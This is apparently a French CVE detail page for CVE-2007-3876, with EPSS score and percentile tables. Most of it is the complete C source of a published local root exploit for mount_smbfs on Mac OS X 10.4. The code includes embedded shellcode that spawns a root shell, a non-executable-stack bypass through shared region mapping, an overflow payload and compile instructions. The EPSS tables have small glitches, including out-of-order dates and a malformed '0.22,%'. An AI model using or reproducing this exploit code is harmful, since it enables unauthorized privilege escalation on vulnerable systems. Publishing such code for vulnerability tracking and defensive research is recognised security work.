CVE-2007-3876 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.72%	–	–
2022-02-20	–	–	7.72%	–	–
2022-04-03	–	–	7.72%	–	–
2022-05-29	–	–	7.72%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.13%	–
2025-01-26	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-01-25	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.22%
2025-03-30	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	81%
2022-02-20	82%
2022-04-03	92%
2022-05-29	93%
2023-03-12	–
2024-06-02	–
2024-12-22	49%
2025-01-26	5%
2025-01-19	49%
2025-01-25	5%
2025-03-18	43%
2025-03-30	42%
2025-04-15	45%
2025-04-15	45%

/* * Copyright (C) 2007-2008 Subreption LLC. All rights reserved. * Visit http://blog.subreption.com for exploit development notes. * * References: * CVE-2007-3876 * http://docs.info.apple.com/article.html?artnum=307179 * http://seclists.org/fulldisclosure/2007/Dec/0445.html * http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633 * http://phrack.org/issues.html?issue=64&id=11#article * BID: https://www.securityfocus.com/bid/26926 * * * Notes: * We bypass non-executable stack via shared_region_map_file_np(), as * documented in a Phrack 64 article by nemo. This technique has been * restricted in Leopard, but works perfectly in Tiger. Originally we * developed a Ruby exploit but given the reliable nature of nemo's * approach, we decided a C port would be the best option. * * Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root * Version: 1.0 (+tiger_x86) * * Distributed under the terms of the Subreption Open Source License v1.0 * http://static.subreption.com/public/documents/subreption-sosl-1.0.txt */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/types.h> #include <mach/vm_prot.h> #include <mach/i386/vm_types.h> #include <mach/shared_memory_server.h> #include <string.h> #include <unistd.h> #define BASE_ADDR 0x9ffff000 #define PADDING_SIZE 1040 #define PAYLOAD_SIZE PADDING_SIZE + 24 /* From osfmk/mach/i386/vm_param.h */ #define I386_PGBYTES 4096 #define I386_PGSHIFT 12 #define PAGE_SIZE I386_PGBYTES #define PAGE_SHIFT I386_PGSHIFT struct _shared_region_mapping_np { mach_vm_address_t address; mach_vm_size_t size; mach_vm_offset_t file_offset; vm_prot_t max_prot; vm_prot_t init_prot; }; struct x86_target { char ebx[4]; char esi[4]; char edi[4]; char ebp[4]; char eip[4]; char saved_eip[4]; char extra_arg[4]; }; static int force_exploit = 0; /* Dual PowerPC + IA32 shellcode by nemo and b-r00t. * seteuid(0) + setuid(0) + execve() */ static char dual_shellcode[] = "\x5f\x90\xeb\x60\x38\x00\x00\xb7\x38\x60\x00\x00\x44\x00\x00\x02" "\x38\x00\x00\x17\x38\x60\x00\x00\x44\x00\x00\x02\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70\x39\x40\x01\x70" "\x39\x1f\xfe\xcf\x7c\xa8\x29\xae\x38\x7f\xfe\xc8\x90\x61\xff\xf8" "\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68\x58\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd\x80\x31\xc0\x50" "\xb0\x17\x6a\x7f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80"; /* Unless we are forcing the exploit, exit the process */ void cond_exit(int exitcode) { if (!force_exploit) exit(exitcode); } /* map_shellcode(void) - returns a return address as unsigned long * The returned address points to our shellcode, mapped from a temporary file on disk. * Most of this code is based on nemo's original example in his Phrack 64 article. * If the mapping exists, it will fail and require -f flag to be used for avoiding * the exit() calls. */ unsigned long map_shellcode(void) { int fd = -1; unsigned long shellcodeaddr = 0x0; struct _shared_region_mapping_np shmreg; char tmpbuf[PAGE_SIZE]; char *tmpfname; void *scptr = NULL; memset(tmpbuf, 0x90, sizeof(tmpbuf)); scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode)); shmreg.address = BASE_ADDR; shmreg.size = PAGE_SIZE; shmreg.file_offset = 0; shmreg.max_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE; shmreg.init_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE; tmpfname = "/tmp/iChat.sock"; if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) { perror("open"); cond_exit(EXIT_FAILURE); } memcpy(scptr, dual_shellcode, sizeof(dual_shellcode)); if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) { perror("write"); close(fd); cond_exit(EXIT_FAILURE); } if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) == -1) { perror("shared_region_map_file_np"); close(fd); if (unlink(tmpfname) == -1) perror("unlink"); cond_exit(EXIT_FAILURE); } if (close(fd) == -1) perror("close"); if (unlink(tmpfname) == -1) perror("unlink"); shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE - sizeof(dual_shellcode)); fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode at %x\n", (unsigned)shmreg.address, (unsigned)shellcodeaddr); return shellcodeaddr; } int main(int argc, char *argv[]) { struct x86_target payload_template; unsigned long retaddr = 0x0; char payload[PAYLOAD_SIZE]; void *curptr = NULL; char *vuln_argv[] = { "mount_smbfs", "-W", "PLACEHOLDER", 0 }; char *vuln_envp[] = { "HISTFILE=/dev/null", "TERM=xterm-color", "PATH=/bin:/sbin:/usr/bin:/usr/sbin", "HISTSIZE=1", 0 }; fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit\n" "Copyright (c) 2007-2008 Subreption LLC. All rights reserved.\n"); if (argc > 1) { if (!strcmp(argv[1], "-f")) force_exploit = 1; } retaddr = map_shellcode(); fprintf(stdout, "Payload size: %u (%u padding bytes), Return address: 0x%x\n", (unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr); memset(&payload_template, 0, sizeof(payload_template)); // Copy the correct addresses to the payload_template structure memcpy(payload_template.ebx, "\xfe\xca\xfe\xca", 4); // ebx = 0xcafecafe memcpy(payload_template.esi, "\xdd\xce\xfa\xde", 4); // esi = 0xdefacedd memcpy(payload_template.edi, "\xce\xfa\xed\xfe", 4); // edi = 0xfeedface memcpy(payload_template.ebp, "\xef\xfe\xad\xde", 4); // ebp = 0xdeadbeef memcpy(payload_template.eip, &retaddr, 4); // eip = retaddr memcpy(payload_template.saved_eip, "\xd0\x02\x01\x90", 4); // saved eip = exit() memcpy(payload_template.extra_arg, "\xfd\xf8\xff\xbf", 4); // extra arg = 0xbffff8fd // Fill the payload with the initial padding curptr = (void *)payload; memset(curptr, 0x41, PADDING_SIZE); // Copy the payload_template structure to our payload buffer curptr = payload + PADDING_SIZE; memcpy(curptr, &payload_template, sizeof(payload_template)); // Set the value to the -W option to point at our payload vuln_argv[2] = (char *)payload; if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) { perror("execve"); exit(EXIT_FAILURE); } return 0; } // milw0rm.com [2007-12-19]